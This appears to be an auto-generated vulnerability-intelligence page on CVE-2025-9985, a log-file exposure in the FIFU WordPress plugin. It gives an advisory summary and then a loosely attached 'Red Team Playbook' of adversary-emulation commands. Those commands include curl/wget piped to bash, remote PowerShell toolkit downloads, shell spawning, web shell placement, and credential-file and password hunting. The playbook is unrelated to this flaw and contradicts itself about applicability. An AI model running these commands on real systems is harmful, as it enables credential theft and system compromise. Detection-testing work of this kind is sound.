CVE-2025-9985
Overview
This vulnerability is a Sensitive Information Exposure caused by publicly accessible log files within the Featured Image from URL (FIFU) WordPress plugin. The root cause is improper access control on log files generated by the plugin's administrative logging component, which fails to restrict unauthenticated access. The affected feature is the logging mechanism that stores operational data in files accessible via web requests in versions up to and including 5.2.7.
Vulnerability Description
The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.
Impact
An unauthenticated attacker can retrieve sensitive information from exposed log files, potentially including internal plugin operations or environment details. No user interaction or credentials are required due to the lack of authentication on the log file endpoint. This exposure can facilitate further targeted attacks or information gathering, impacting confidentiality as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N/C:L/I:N/A:N).
Solution
Users of the Featured Image from URL (FIFU) plugin should upgrade to version 5.2.8 or later, where access to log files has been restricted. Detailed patch information and remediation instructions are available via the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/991d63da-ca6c-400e-beb7-b44cf629abc9. No alternative workarounds are documented, so applying the official update is required to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Featured Image from URL (FIFU) plugin for WordPress is characterized by its potential for sensitive information exposure due to publicly accessible log files. This flaw exists in all versions up to and including 5.2.7, allowing unauthenticated attackers to access sensitive data that should remain confidential. The log files, which are typically intended for debugging and operational monitoring, can inadvertently contain user credentials, API keys, or other sensitive information. This exposure arises from improper access controls, which fail to restrict unauthorized users from viewing these files.
Attack vectors exploiting this vulnerability can be relatively straightforward. An attacker could leverage automated scripts or manual probing to identify the location of the log files on a compromised WordPress installation. Once located, they can retrieve the contents of these files through simple HTTP requests. The ease of exploitation is compounded by the fact that many WordPress installations do not adequately secure their log files, often leaving them accessible without authentication. This lack of security measures creates a low barrier to entry for attackers, who can exploit the vulnerability without needing advanced technical skills.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on WordPress for their online presence. Sensitive information exposure can lead to various adverse outcomes, including identity theft, unauthorized access to user accounts, and potential financial loss. Furthermore, the breach of sensitive data can damage a company's reputation, eroding customer trust and leading to a decline in user engagement. Organizations may also face regulatory repercussions if they fail to protect sensitive information, resulting in fines and legal liabilities. The cumulative effect of these risks can severely affect a business's operational viability and market position.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify exposed log files and other potential weaknesses within the WordPress environment. Additionally, employing web application firewalls (WAFs) can provide an additional layer of security by filtering out unauthorized access attempts. Organizations should also ensure that log files are stored in secure locations, preferably outside the web root, and that appropriate access controls are enforced to limit visibility to authorized personnel only.
In conclusion, the vulnerability present in the Featured Image from URL plugin for WordPress highlights the critical need for robust security practices within web applications. By understanding the technical details, potential attack vectors, and the real-world implications of sensitive information exposure, organizations can better prepare themselves against such threats. Implementing effective detection and mitigation strategies will not only protect sensitive data but also enhance overall cybersecurity posture, ensuring that businesses can operate securely in an increasingly hostile digital landscape.
Recent updates to CVE-2025-9985 reveal a significant revision in its severity rating, with the CVSS score increasing from zero to 5.3. This adjustment reflects a reassessment of the vulnerability’s impact, recognizing that unauthenticated attackers can exploit publicly exposed log files to access sensitive information. Concurrently, the Exploit Prediction Scoring System (EPSS) score has doubled, indicating a growing likelihood of exploitation attempts, as corroborated by a slight upward trend in related telemetry data from CSURFACE threat intelligence. Although no new exploit techniques or active campaigns have been identified, the increased scoring underscores a heightened risk posture for organizations utilizing the Featured Image from URL plugin. For defenders, this change signals the need to prioritize detection and monitoring efforts around log file exposures, as the vulnerability is now formally acknowledged as a credible medium-severity threat. The updated risk assessment elevates the urgency of addressing this issue within security operations, given the potential for sensitive data leakage without authentication barriers.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-215 | Fuzzing for application mapping |
30%
|
High | Low |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-9985 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/991d63da-ca6c-400e-beb7-b44cf629abc9?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/featured-image-from-url/trunk/admin/log.php?rev=3344903 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3362830%40featured-image-from-url&new=3362830%40featured-image-from-url&sfp_email=&sfph_mail=#file6 |